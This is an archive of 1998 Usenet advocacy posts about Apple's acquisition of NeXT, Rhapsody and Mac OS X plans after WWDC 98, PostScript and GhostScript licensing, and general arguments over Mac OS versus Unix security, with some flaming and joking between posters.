you are automatically a wintel troll. For instance, Jason, who runs linux on
power pc's, he is a wintel troll. Doesnt matter he doesnt use windows or
that he probably dislikes it, he is still a wintel troll.
--
Running on Openstep 4.2, the best os in the world, and about to get better!
Mac/openstep qa work desired, email me for resume
NeXTMail and MIME OK!
Message-ID: <355E5601.54979A2E@unet.univie.ac.at>
Date: Sun, 17 May 1998 05:14:09 +0200
From: Christian Benesch <a9226931@unet.univie.ac.at>
MIME-Version: 1.0
Newsgroups: comp.sys.next.advocacy
Subject: Re: Sorry That Apple Purchased NeXT?
References: <199805161935341708619@sdn-ts-002txhousp06.dialsprint.net>
Content-Type: text/plain; charset=us-ascii
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I guess I and many others would have been contendend,even exalted, if they
just had done an OpenStep 4.2 for PPC.
But as it is, it got far beyond that, and I am glad about it.
First and foremost: Licensing fees.
Sometimes people tend to forget that NeXTStep-User,Developer, EOF,
WebObjects where incredibly high priced(for those who couldn't lay hands on
the academic bundles :-)
Paying hundreds of dollars for OpenStep for NT-User was certainly the worst
of it.
Now we have EOF, WebObjects all integrated, Developer will be low-priced(
some said it could be around $500, which would be "a screamer"[as you
Americans would put it]).
Most of all, YB for Windows will sell for $20 a license- A LAUGH!
And they are even trying to get it down to zero!
As regards the UI:
Macification of the user interface has sacrificed some nice concepts of
NeXTSTEP, but the Mac platinum appearance is not all that bad.From a design
point of view: Placing the relatively large and colorfoul NeXT-icons on the
Mac interface looks too much of a compromise.But I think I can live with
it(I want the shelf,though ;(
To the internals of the drawing engine, I didn't pay much attention in the
past, though I liked the idea of DPS and NSHost(all I ever did was fiddling
with Sesame).Some applications, as I came to understand, rely heavily on
these two techniques, and it will hurt some developers. But as they
represented a large part of the previous NeXT clientel, they are now but a
tiny fraction of the more user,mainstream oriented Apple community. The same
goes for the BSD/Unix part(which I would NOT want to see abolished).
(Don't misunderstand me, I am feeling with you, but life goes on)
The ground we've lost here, IMO,is completely regained with introduction and
extension of the I/O-Kit with I regard as the best concept for the purpose.
It's main reason is the sheer amount of different hardware-setups for Intel
machines, which also indicates to me some interest and future support for
the Rhapsody/Intel platform.Of course,we developers and users, will have to
accept the OS in the first-place to insure Apple's long-term dedication to
it.
Carbon:
Sooner or later we had to make compromises to the Mac people. When the
merger was announced, we OpenSteppers had too much of an advantage(of
knowing the OS and FrameWorks etc.) and too little a share(in terms of
installed systems).
I am optimistic the Maccies will eventually see the benefits of
YB-development, but expecting them to just switch operating-system and APIs,
was asking a little too much.
But I don't think the "usurped spotlight" is all that bad. It was
political,and reasonable for that.And what helps the Mac platform in general
will help OpenStep, which, IMO, seems to have no other choice.
On the whole, many changes are beyond my wildest dreams, and with the Macs
and the low-price policy we will have a huge customer base in the future.
Custom enterprise Applications will thrive, this out of question.
And so will mass-market apps, if we will just show a little patience to our
MacOS comrades in arms.
Christian Benesch...trying to spread some optimism.
John Bauer wrote:
> No Rhapsody/Intel beyond CR1.
> No more DPS.
> No more NSHosting.
> Yellow Box spotlight usurped by old Mac APIs.
> Fully Macified UI.
> G3 or later hardware required to run future incarnations of Rhapsody.
>
> Without debating the finer points of how true all of the above are, I'm
> curious if the consensus in (this slice of) the NeXT community is that
> things were better before Apple bought NeXT and that, in retrospect, the
> merger was a bad move for NeXT aficionados. I think it would be helpful
> if opinions were grounded in economic reality rather than dashed ivory
> tower fantasies, but it's your post, so say whatever you want.
>
> It does seem, in a way, that Jobs is finally making that next-generation
> Mac he sought by founding NeXT. But do NeXT watchers view this as a bad
> thing? The hardware is not as sleek, the UI not as pretty. Are the
> compromises that go with appealing to a consumer market worth it for the
> possibility of the technology flourishing? Or is the technology doomed
> anyway if the native OS won't run on Windows machines?
>
> --
> John Bauer
> <remove NOT from email address above, just like the spammers do>
Message-ID: <355E6121.CDEF20C6@unet.univie.ac.at>
Date: Sun, 17 May 1998 06:01:37 +0200
From: Christian Benesch <a9226931@unet.univie.ac.at>
MIME-Version: 1.0
Newsgroups: comp.sys.next.advocacy
Subject: Re: DR2 on new PB G3
References: <01bd8146$ad357ee0$123110ac@chinito9501>
Content-Type: text/plain; charset=us-ascii
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No.
See Q&A on Stepwise for this:
http://www.stepwise.com/SpecialCoverage/WWDC98/Friday.html
Christian Benesch
Jim Holmes wrote:
> I have recieved DR2, and the install documentation doesn't list the
> Powerbook G3. It only lists the tower and desktop models.
>
> So, has anyone installed DR2 on a G3 powerbook?
>
> Thanks,
>
> Jim Holmes
>
> jaholmes@sprintparanet.com
From: mpaque@wco.com (Mike Paquette)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Alternatives to Adobe
Date: Sat, 16 May 1998 22:04:59 -0700
Organization: Electronics Service Unit No. 16
Message-ID: <1d954cy.ca4pnwrljkekN@carina37.wco.com>
References: <6jh6lm$526$1@news.idiom.com> <6jhf5b$ku3@sjx-ixn10.ix.netcom.com> <6jhguk$526$3@news.idiom.com> <6jhior$njn@sjx-ixn10.ix.netcom.com> <355c8237.0@206.25.228.5> <markeaton-1605981141120001@user-38ld69u.dialup.mindspring.com> <us5vhr5iye0.fsf@ai.mit.edu>
Stephen Peters <portnoy@ai.mit.edu> wrote:
> Assuming that the main reason for the change was the royalty cost for
> YB apps to deploy on Windows, DGS *would* solve that problem, since
> it's a clean-room implementation of the DPS spec. It would be, in
> effect, royalty free (Apple pays royalties to Adobe for the
> implementation, not the language).
Contrary to popular belief, GhostScript and derived products are free
for non-commercial use only. Commercial use requires that one work out
a license agreement with Aladdin, Peter Deutsch's software company.
The version you can get source code for typically lags behind Aladdin's
version by about 18 months, and is covered by the same license.
I am not aware of any royalty-free PostScript implementations.
--
Mike Paquette mpaque@wco.com
I'm not an officer, spokesperson, or high muckety-muck of Apple
Computer. I don't speak for Apple, and they don't speak for me.
From: mpaque@wco.com (Mike Paquette)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Date: Sat, 16 May 1998 22:05:01 -0700
Organization: Electronics Service Unit No. 16
Message-ID: <1d954qf.15qvj70pniarkN@carina37.wco.com>
References: <ericb-1105981718430001@132.236.171.104> <pulsar-ya02408000R1105981648110001@news-proxy.cso.uiuc.edu> <35586F01.243A7BE3@spamtoNull.com> <pulsar-ya02408000R1205981246010001@news-proxy.cso.uiuc.edu> <3559A517.5562EE28@sys.uea.ac.uk> <6jcm9j$1cc$28@ironhorse.plsys.co.uk> <ericb-1405981233430001@132.236.171.104> <6jh0vv$1cc$40@ironhorse.plsys.co.uk> <B181D674-70D08@206.165.43.138> <1d93gn8.fhjfyy1knrztwN@carina47.wco.com> <355DC385.3B57EFF1@trilithon.com> <B183331B-5B24A@206.165.43.27>
Lawson English <english@primenet.com> wrote:
> Are all programmers associated with NeXT like this?
Yes. During Developer Boot Camp, all developers are forces to stare at
a huge projected image of Lawson English for 10 minutes after being
served the special Kool-Aid.
--
Mike Paquette mpaque@wco.com
Developer Camp Refreshments Committee
From: mpaque@wco.com (Mike Paquette)
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: So THAT is the OS stratetgy?
Date: Sat, 16 May 1998 22:05:04 -0700
Organization: Electronics Service Unit No. 16
Message-ID: <1d954yz.ds1gve1l8datsN@carina37.wco.com>
References: <B17C8D50-7E886@206.165.43.134> <6j83mg$1cc$2@ironhorse.plsys.co.uk> <B17D23E3-9037@206.165.43.13> <3557DDE0.4333CCA0@trilithon.com> <1d8yqsc.1875mjiash37cN@desktop.tom-e.private> <B17FA88B-D17A@206.165.43.138> <tbrown-1405982230070001@mv079.axom.com> <B1810BBB-15F43@206.165.43.99> <6ji1qc$1cc$47@ironhorse.plsys.co.uk> <1d93hzz.1i4zmy3bnrdb1N@carina47.wco.com> <B1832253-1C09B@206.165.43.27> <nagleEt2BBL.Irx@netcom.com> <B1833813-6DD19@206.165.43.27> <djboccip-1605981849370001@tnt2-98.hiwaay.net> <6jl9c1$je2$1@crib.bevc.blacksburg.va.us>
Nathan Urban <nurban@crib.bevc.blacksburg.va.us> wrote:
> Is he now
> going to recycle all of his PostScript misconceptions into exciting new
> PDF misconceptions???
Of course. It's what he lives for.
Pathetic, isn't it?
From: jcr.remove@this.phrase.idiom.com (John C. Randolph)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Date: 17 May 1998 06:06:25 GMT
Organization: Idiom Communications
Message-ID: <6jlup1$7jo$4@news.idiom.com>
References: <ericb-1105981718430001@132.236.171.104> <pulsar-ya02408000R1105981648110001@news-proxy.cso.uiuc.edu>
<35586F01.243A7BE3@spamtoNull.com> <pulsar-ya02408000R1205981246010001@news-proxy.cso.uiuc.edu>
<3559A517.5562EE28@sys.uea.ac.uk> <6jcm9j$1cc$28@ironhorse.plsys.co.uk>
<ericb-1405981233430001@132.236.171.104> <6jh0vv$1cc$40@ironhorse.plsys.co.uk>
<B181D674-70D08@206.165.43.138> <1d93gn8.fhjfyy1knrztwN@carina47.wco.com>
<355DC385.3B57EFF1@trilithon.com> <B183331B-5B24A@206.165.43.27>
<1d954qf.15qvj70pniarkN@carina37.wco.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Cc: mpaque@wco.com
Mike Paquette may or may not have said:
-> Lawson English <english@primenet.com> wrote:
->
-> > Are all programmers associated with NeXT like this?
->
-> Yes. During Developer Boot Camp, all developers are forces to stare at
-> a huge projected image of Lawson English for 10 minutes after being
-> served the special Kool-Aid.
Woah! Thanks, Mike. I had no idea who that guy on the screen was.
BTW, what was in the Kool-Aid again? I'm trying to get the recipe so I can
serve it at the next Bay Area NeXT Group meeting.
-jcr
From: jason@jhste1.dyn.ml.org (Jason S.)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Network Holes List - Mac OS NOT On It!
Date: 17 May 1998 06:16:08 GMT
Organization: I don't think so
Message-ID: <slrn6lt0d2.228.jason@jhste1.dyn.ml.org>
References: <derekc-1505981616070001@srv-12-29.roc.ny.frontiernet.net> <355ef11e.16316431@news.netdirect.net> <6jlodo$3dl$1@akron5.neo.lrun.com> <6jlslk$dp0$6@newsfep4.sprintmail.com>
macghod@concentric.net posted the following to comp.sys.mac.advocacy:
>> >>Quoting from the Mac EvangeList:
>> >>"It talks about all of the vulnerable OS's and common hacks of them, and
>> >>how you can pay $4000 every 6 months to get an updated database of
>> >>security flaws. Here's a quote:
>> >>"'If you use any of the following OperatingSystems then you are
>> vulnerable:
><snipped, basically all unixes including NeXT, plus ms junk>
>> >>"Sometimes it's nice not to see our favorite OS (in any of its forms) in
>> >>the top 30!"
>> >>PS: Mac security is being built into Rhapsody, with luck killing off the
>> >>vunerability of the NeXT OS.
>GOOD LORD!!!! Mac Evangelist said this???????? That is so incredibly
>stupid!!!! The vulnerability of Next os is that it is a MULTI user system.
> Multi User systems have inherint security problems. Mac security = being a
>single user system, how is this being "built into rhapsody"? Rhapsody is
>INHERENTLY a multi user system, that is one of its ADVANTAGES.
>Does anyone know which of the mac evangelists put in the PS:? That is so
>asinine it is not even funny. Whoever it is should be <ugg, nevermind, I
>will try to calm down>
Since when was the EvangeList a respected source of information, anyway?
--
If FreeBSD actually did that, I would concede that FreeBSD was any more
"correct" than Linux is, but not even the FreeBSD people can justify
that kind of performance loss.
-- Linus Torvalds on comp.unix.advocacy
From: nurban@crib.bevc.blacksburg.va.us (Nathan Urban)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Network Holes List - Mac OS NOT On It!
Date: 17 May 1998 02:27:58 -0400
Organization: Data Systems Consulting, Inc.
Message-ID: <6jm01e$k71$1@crib.bevc.blacksburg.va.us>
References: <derekc-1505981616070001@srv-12-29.roc.ny.frontiernet.net> <355ef11e.16316431@news.netdirect.net> <6jlodo$3dl$1@akron5.neo.lrun.com> <6jlslk$dp0$6@newsfep4.sprintmail.com>
In article <6jlslk$dp0$6@newsfep4.sprintmail.com>, macghod@concentric.net wrote:
> > >[someone wrote]
> > >>One secret about the Mac OS that is commonly hidden behind mythology and
> > >>lies is that it is one of the most secure operating systems in history.
> True. It is a single user os. Thats why it is so secure.
That's not the reason why it's so secure. It's so secure because it
doesn't DO anything. If you disable all of the esoteric, unneeded, or
complex daemons on Unix and just run an FTP server and an HTTP server
(which I presume is the kind of setup the original poster had in mind
on MacOS), then Unix is awfully secure too -- especially if you choose
your daemons with security in mind. The number of simultaneous users
has nothing to do with it.
From: rriley@yahoo.com (Rex Riley)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Sorry That Apple Purchased NeXT?
MIME-Version: 1.0
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References: <199805161935341708619@sdn-ts-002txhousp06.dialsprint.net>
Message-ID: <Zvv71.2305$Fi2.1265079@news.rdc1.sdca.home.com>
Date: Sun, 17 May 1998 06:32:25 GMT
NNTP-Posting-Date: Sat, 16 May 1998 23:32:25 PDT
Organization: @Home Network
In <199805161935341708619@sdn-ts-002txhousp06.dialsprint.net> John Bauer
wrote:
> No Rhapsody/Intel beyond CR1.
> No more DPS.
> No more NSHosting.
> Yellow Box spotlight usurped by old Mac APIs.
> Fully Macified UI.
> G3 or later hardware required to run future incarnations of Rhapsody.
>
> Without debating the finer points of how true all of the above are, I'm
> curious if the consensus in (this slice of) the NeXT community is that
> things were better before Apple bought NeXT and that, in retrospect, the
> merger was a bad move for NeXT aficionados. I think it would be helpful
> if opinions were grounded in economic reality rather than dashed ivory
> tower fantasies, but it's your post, so say whatever you want.
>
>
Not Sorry...
Without debating the pros and cons of the "deal"... NeXT afficionados are much
better off. At the end of the day, they still have a "choice". A choice over
MS. It is important that true choice for people be preserved in Apple
products.
> It does seem, in a way, that Jobs is finally making that next-generation
> Mac he sought by founding NeXT. But do NeXT watchers view this as a bad
> thing?
That's your " personal " view, that Steve is finally making a next-generation
Mac. I don't share the view that the next generation Mac is closure for a
journey begun 10 years ago with Jobs formation of NeXT.
That people empower a belief in Job's motivations as being limited to a 10
year old personal inspiration, is understandable but not useful. The stakes
are much higher than this and the rewards will be too.
> The hardware is not as sleek, the UI not as pretty. Are the
> compromises that go with appealing to a consumer market worth it for the
> possibility of the technology flourishing? Or is the technology doomed
> anyway if the native OS won't run on Windows machines?
>
>
NeXT core technologies were IB, EOF, WebObjects and OPENSTEP. The
technologies are only a means to an end. While they are robust, scalable and
well engineered solutions, they were not popular, easy-to-learn and
affordable. The objective with the acquisition by Apple was to mainstream
them and by doing so overcome these limitations. With the capitulation to
MacOS X and Carbon API, it becomes apparent that Apple did not get the
"mainstream" for free. So now they will have to Mac-N-tize NeXT's
technologies. As observed this week at WWDC 98, there will be
sub-technologies which won't make the trip to Mac. But the core will find
life after death :-)
Man... that's a SuperBowl commercial :-)
What we _all_, including myself, may be missing here as the BIG story at WWDC
is the deliberate act of Apple distancing itself from Windows.
-r
From: nurban@crib.bevc.blacksburg.va.us (Nathan Urban)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Sorry That Apple Purchased NeXT?
Date: 17 May 1998 02:38:33 -0400
Organization: Data Systems Consulting, Inc.
Message-ID: <6jm0l9$k8a$1@crib.bevc.blacksburg.va.us>
References: <199805161935341708619@sdn-ts-002txhousp06.dialsprint.net> <Zvv71.2305$Fi2.1265079@news.rdc1.sdca.home.com>
In article <Zvv71.2305$Fi2.1265079@news.rdc1.sdca.home.com>, rr6013@yahoo.com wrote:
> What we _all_, including myself, may be missing here as the BIG story at WWDC
> is the deliberate act of Apple distancing itself from Windows.
What leads you to believe that?
From: macghod@concentric.net
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Network Holes List - Mac OS NOT On It!
Date: 17 May 1998 05:30:28 GMT
Message-ID: <6jlslk$dp0$6@newsfep4.sprintmail.com>
References: <derekc-1505981616070001@srv-12-29.roc.ny.frontiernet.net> <355ef11e.16316431@news.netdirect.net>
<6jlodo$3dl$1@akron5.neo.lrun.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Cc: derekc@frontiernet.net,EvangeList@apple.com
<note, I trimmed all the ms groups, and added csna, in case any NeXt people
want to Correct me on my view that what the evangelist's PS at the bottom is
asinine>
> >derekc@spamrat.filler.to.remove.frontiernet.net (Derek Currie) chose
> >to bless us all with this bit of wisdom:
> >>One secret about the Mac OS that is commonly hidden behind mythology and
> >>lies is that it is one of the most secure operating systems in history.
True. It is a single user os. Thats why it is so secure.
> >>Mac OS was actually 100% free of hack-ability until a product called
> >>"Lasso" came out that works with web databases. Unfortunately that
> >>particular program makes a Mac OS server hackable.
Actually this is false. "Starfire" hacked the server THREE times. One of
the times DID involve lasso. Others did not. (at most 2 of the 3 times
involved lasso).
> >> Getting rid of it
> >>removes the problem and makes a Mac OS the best OS for network security
> >>going. TRUE!
Ummm, not exactly. The mac is definitely the best for small sites, but for
medium to large sites you need servers. When Rhapsody comes along the mac
would then make a good mid to large site server. Get a dual g4 with a lot
of hard drive space and ram. Good deal
> >>Until Lasso came out there was a multi-thousand dollar prize to anyone
who
> >>could hack into a Mac OS server. No one had taken the prize EVER over the
> >>course of a number of years, despite constant attempts by even the best
> >>hacker organizations. This piece of advice could have just saved you
> >>$6000!
THis is not true. StarFire hacked into it various times, and some did not
involve lasso
> >>Quoting from the Mac EvangeList:
> >>
> >>"It talks about all of the vulnerable OS's and common hacks of them, and
> >>how you can pay $4000 every 6 months to get an updated database of
> >>security flaws. Here's a quote:
> >>
> >>"'If you use any of the following OperatingSystems then you are
> vulnerable:
<snipped, basically all unixes including NeXT, plus ms junk>
> >>"Sometimes it's nice not to see our favorite OS (in any of its forms) in
> >>the top 30!"
> >>
> >>PS: Mac security is being built into Rhapsody, with luck killing off the
> >>vunerability of the NeXT OS.
GOOD LORD!!!! Mac Evangelist said this???????? That is so incredibly
stupid!!!! The vulnerability of Next os is that it is a MULTI user system.
Multi User systems have inherint security problems. Mac security = being a
single user system, how is this being "built into rhapsody"? Rhapsody is
INHERENTLY a multi user system, that is one of its ADVANTAGES.
Does anyone know which of the mac evangelists put in the PS:? That is so
asinine it is not even funny. Whoever it is should be <ugg, nevermind, I
will try to calm down>
--
Running on Openstep 4.2, the best os in the world, and about to get better!
Mac/openstep qa work desired, email me for resume
NeXTMail and MIME OK!
From: macghod@concentric.net
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: OSX - What I See vs What I Want
Date: 17 May 1998 05:41:37 GMT
Message-ID: <6jltah$dp0$7@newsfep4.sprintmail.com>
References: <forrestDELETE-THIS!-1205981303210001@term4-3.vta.west.net> <6javob$tpe$1@reader1.reader.news.ozemail.net>
<35590EE4.9858E645@unet.univie.ac.at> <rkt1-1305981646450001@cu-dialup-0423.cit.cornell.edu>
<355A14F6.3A0CD0CB@unet.univie.ac.at> <rkt1-1405980303590001@cu-dialup-0227.cit.cornell.edu>
<see-below-1405980102500001@209.24.241.190> <355af407.0@206.25.228.5>
<see-below-1405982237090001@209.24.240.162> <355c8782.0@206.25.228.5>
<joe.ragosta-1505981627300001@wil93.dol.net> <355e18de.0@206.25.228.5>
<199805161935431709193@sdn-ts-002txhousp06.dialsprint.net> <355e44a8.0@206.25.228.5>
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Cc: jkheit@xtdl.com
In <355e44a8.0@206.25.228.5> John Kheit wrote:
> drifterusa@sprintmail.com (John Bauer) wrote:
> > John Kheit wrote:
> > > Why a Terminal.app terrifies people to the point they say "hide
> > > that, just don't let me see it" baffles me as much as the
> > > propeller heads who demand certain things be available via CLI
> > > only. YMMV.
I will be very unhappy if they take terminal.app out of macos x.
I was watching a quicktime movie of wwdc today, movie 131, something roadmap,
and I heard them say that "users should have the *option* of not seeing
unix."
I keyed on the word "option". For it not only entails that users should not
have to see unix, but also entails that users should be able to see unix.
Otherwise it wouldnt be a option. Maybe I shouldnt force apple to live up to
logical entailments from what their wwdc speakers say tho :P
I tell ya tho, I am a mac power user. HOnestly. Only been using Openstep
for a bit now. I definitely feel for the old Next users. At first, OS 4.2
was a bit odd, for instance not having menu's at the top, but at the side.
But after I used it for a while I realized its WAY superior to the mac. Mac
users AND Apple should realize this. Too many mac users are fighting this
tho, and it has the chance of seriously weakening rhapsody.
--
Running on Openstep 4.2, the best os in the world, and about to get better!
Mac/openstep qa work desired, email me for resume
NeXTMail and MIME OK!
From: ctm@ardi.com (Clifford T. Matthews)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Alternatives to Adobe
Date: 17 May 1998 00:39:54 -0600
Organization: ARDI
Sender: ctm@ftp.ardi.com
Message-ID: <ufsom9e6yt.fsf@ftp.ardi.com>
References: <6jh6lm$526$1@news.idiom.com> <6jhf5b$ku3@sjx-ixn10.ix.netcom.com> <6jhguk$526$3@news.idiom.com> <6jhior$njn@sjx-ixn10.ix.netcom.com> <355c8237.0@206.25.228.5> <markeaton-1605981141120001@user-38ld69u.dialup.mindspring.com> <us5vhr5iye0.fsf@ai.mit.edu> <1d954cy.ca4pnwrljkekN@carina37.wco.com>
>>>>> "Mike" == Mike Paquette <mpaque@wco.com> writes:
Mike> Contrary to popular belief, GhostScript and derived products
Mike> are free for non-commercial use only. Commercial use requires
Mike> that one work out a license agreement with Aladdin, Peter
Mike> Deutsch's software company.
It's not actually commercial use that's restricted; it's commercial
bundling. From the Aladdin Public License:
(b) Activities other than copying, distribution and modification of the
Program are not subject to this License and they are outside its scope.
Functional use (running) of the Program is not restricted, and any output
produced through the use of the Program is subject to this license only if
its contents constitute a work based on the Program (independent of having
been made by running the Program).
Mike> The version you can get source code for typically lags behind
Mike> Aladdin's version by about 18 months, and is covered by the
Mike> same license.
You can get the source to Aladdin GhostScript.
<ftp://ftp.cs.wisc.edu/pub/ghost/aladdin/> is a good place to look.
The GNU version of GhostScript is in
<ftp://ftp.cs.wisc.edu/pub/ghost/gnu/>.
Mike> I am not aware of any royalty-free PostScript implementations.
Nor do I. I just wanted to make the Aladdin terms a little clearer.
The Aladdin Public license is fairly readable. Anyone who wants the
exact details can find a copy of it in the Aladdin GhostScript ftp
site (mentioned above).
Mike> -- Mike Paquette mpaque@wco.com I'm not an officer,
Mike> spokesperson, or high muckety-muck of Apple Computer. I don't
Mike> speak for Apple, and they don't speak for me.
--Cliff
ctm@ardi.com
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Date: 16 May 1998 23:50:00 -0700
Organization: Primenet Services for the Internet
Message-ID: <B183D6A2-84E0@206.165.43.147>
References: <1d954qf.15qvj70pniarkN@carina37.wco.com>
nntp://news.primenet.com/comp.sys.next.advocacy
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Mike Paquette <mpaque@wco.com> said:
>Lawson English <english@primenet.com> wrote:
>
>> Are all programmers associated with NeXT like this?
>
>Yes. During Developer Boot Camp, all developers are forces to stare at
>a huge projected image of Lawson English for 10 minutes after being
>served the special Kool-Aid.
Always glad to help The Cause, Mike.
BTW, my image is copyrighted. I assume that you've spoken with my agent and
filled out the appropriate forms before using it?
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: So THAT is the OS stratetgy?
Date: 16 May 1998 23:54:01 -0700
Organization: Primenet Services for the Internet
Message-ID: <B183D7A4-C17E@206.165.43.147>
References: <1d954yz.ds1gve1l8datsN@carina37.wco.com>
nntp://news.primenet.com/comp.sys.mac.advocacy,
nntp://news.primenet.com/comp.sys.next.advocacy
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Mike Paquette <mpaque@wco.com> said:
>Nathan Urban <nurban@crib.bevc.blacksburg.va.us> wrote:
>
>> Is he now
>> going to recycle all of his PostScript misconceptions into exciting new
>> PDF misconceptions???
>
>Of course. It's what he lives for.
>
>
>Pathetic, isn't it?
>
So, PDF doesn't work like PS. Good. Now, are you saying that my claim about
PS files and chinese fonts isn't true either?
I guess that you better tell the engineers at Apple about this since they
(including the one working on GX typography) have been claiming that PS
print files don't manage fonts very well.
Or perhaps, Distiller 3.0 doesn't do this (maybe PS 3.0 doesn't either),
but PS 2.0 did?
Discrediting someone by citing the very latest manual as though this means
that ALL versions of PDF/Distiller/PS never did something is an interesting
tactic
Publicly denouncing a specific person is also an interesting tactic.
Do you get paid extra for it?
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: andrew_abernathy@omnigroup.com
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: STEPWISE and Scott Kudos
Date: 17 May 1998 06:49:12 GMT
Organization: Omni Development, Inc.
Message-ID: <6jm198$d5n$1@gaea.omnigroup.com>
References: <355c8968.0@206.25.228.5>
John Kheit <jkheit@xtdl.com> wrote:
> I just wanted to say Kudos to Scott for his just unbelievable
> coverage of the conference. I've *never* read coverage this good
> before.
Ditto. To Scott I extend a Public Display of Gratitude. You did a hell of a
job.
--
andrew_abernathy@omnigroup.com
From: jason@jhste1.dyn.ml.org (Jason S.)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Date: 17 May 1998 07:04:35 GMT
Organization: I don't think so
Message-ID: <slrn6lt37s.228.jason@jhste1.dyn.ml.org>
References: <1d954qf.15qvj70pniarkN@carina37.wco.com> <B183D6A2-84E0@206.165.43.147>
Lawson English posted the following to comp.sys.mac.advocacy:
>>Yes. During Developer Boot Camp, all developers are forces to stare at
>>a huge projected image of Lawson English for 10 minutes after being
>>served the special Kool-Aid.
>Always glad to help The Cause, Mike.
>BTW, my image is copyrighted. I assume that you've spoken with my agent and
>filled out the appropriate forms before using it?
What are these forms? A disclaimer of liability should the image cause
blindness, insanity, or other unpleasantness?
;)
--
If FreeBSD actually did that, I would concede that FreeBSD was any more
"correct" than Linux is, but not even the FreeBSD people can justify
that kind of performance loss.
-- Linus Torvalds on comp.unix.advocacy
From: drifterusa@sprintmail.com (John Bauer)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Sorry That Apple Purchased NeXT?
Date: Sun, 17 May 1998 02:48:04 -0500
Organization: KAOS
Message-ID: <19980517024804833344@sdn-ts-009txhousp10.dialsprint.net>
References: <199805161935341708619@sdn-ts-002txhousp06.dialsprint.net> <355E5601.54979A2E@unet.univie.ac.at>
Christian Benesch wrote:
> As regards the UI:
> Macification of the user interface has sacrificed some nice concepts of
> NeXTSTEP, but the Mac platinum appearance is not all that bad.From a design
> point of view: Placing the relatively large and colorfoul NeXT-icons on the
> Mac interface looks too much of a compromise.But I think I can live with
> it(I want the shelf,though ;(
This makes me wonder if any Yellow Box developers at WWDC talked to
Apple about UI issues. The shelf (along with left-side scrollbars)
seems to be the most-requested feature aside from the look itself, which
will probably be available through a third-party "theme." Any WWDC
attendees care to comment?
--
John Bauer
<remove NOT from email address above, just like the spammers do>
Date: Sun, 17 May 1998 17:21:05 +0930
From: "timothyp@tne.net.au" <timothyp@tne.net.au>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: The New Rhapsody (aka Mac OS X)
References: <1d93f0c.1rp62nqawhj9yN@carina47.wco.com>
<B183263E-2AC87@206.165.43.27>
Organization: Cybermarket Australia
Mime-version: 1.0
Content-Type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit
Message-ID: <355e9599.0@news.camtech.net.au>
In article <B183263E-2AC87@206.165.43.27> , "Lawson English"
<english@primenet.com> wrote:
<snip>
>How are you going to pass graphics between applications? Via a
>PICT-like mechanism or is it going to be PDF all the way through?
Well if its PICT I hope they use the enhanced PICT format cause otherwise its
gonna SUCK.
From: NoSpam@flash.net (LShaping)
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft,comp.os.linux.advocacy,comp.os.ms-windows.advocacy,comp.os.ms-windows.nt.advocacy
Subject: Re: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
Date: Sun, 17 May 1998 08:15:36 GMT
Organization: LShaping
Message-ID: <355e9c4e.8478402@news.flash.net>
References: <6il92r$3cl@bgtnsc01.worldnet.att.net> <6imcmk$oj1$3@ligarius.ultra.net> <6in44d$jt3@bgtnsc01.worldnet.att.net> <6iomt2$bac$1@ligarius.ultra.net> <6isqdb$pa4$1@interport.net> <6isudr$39$1@interport.net> <6it4lv$n71$2@cronkite.cygnus.com> <3552188E.471E@CONVEX.COM> <35531f8a.0@209.136.2.9> <355346C7.AB5A6546@nstar.net> <6ivmi0$822$1@cronkite.cygnus.com>
On 8 May 1998 19:31:12 GMT, jrudd@cygnus.com (John Rudd) wrote:
>In <355346C7.AB5A6546@nstar.net> "Michael J. Peck" wrote:
>> Dave Walker wrote:
>>
>> > Hey... add me to it as well.
>> >
>> > Dave Walker
>>
>> Sorry, first you have to say something incredibly malicious and,
>> frankly, sick, about an innocent group of people.
>>
>> MJP
>>
>
>What's so innocent about sheep who follow someone blindly?
>
>They have actively decided to avoid finding out what the best solution is.
>They have actively decided to avoid forcing MS to be open. They are in fact
>the problem, in that their quiet capitulation is what gave MS its power base.
> If they had been less sheepish, and thought for themselves instead of
>allowing themselves to be pulled by the nose ring, MS would either have
>embraced open strategies, or folded.
>
>The sheepish users aren't innocent. They're as guilty as the German citizens
>who knew what was happening to the Jews and quietly allowed it to happen.
>(to be fair, not all of the citizens knew.. but you can't really make a
>credible claim that the citizens who lived in the cities where there were
>camps didn't know)
Great twist! Wow, you a professional flamer?
From: drifterusa@sprintmail.com (John Bauer)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Sorry That Apple Purchased NeXT?
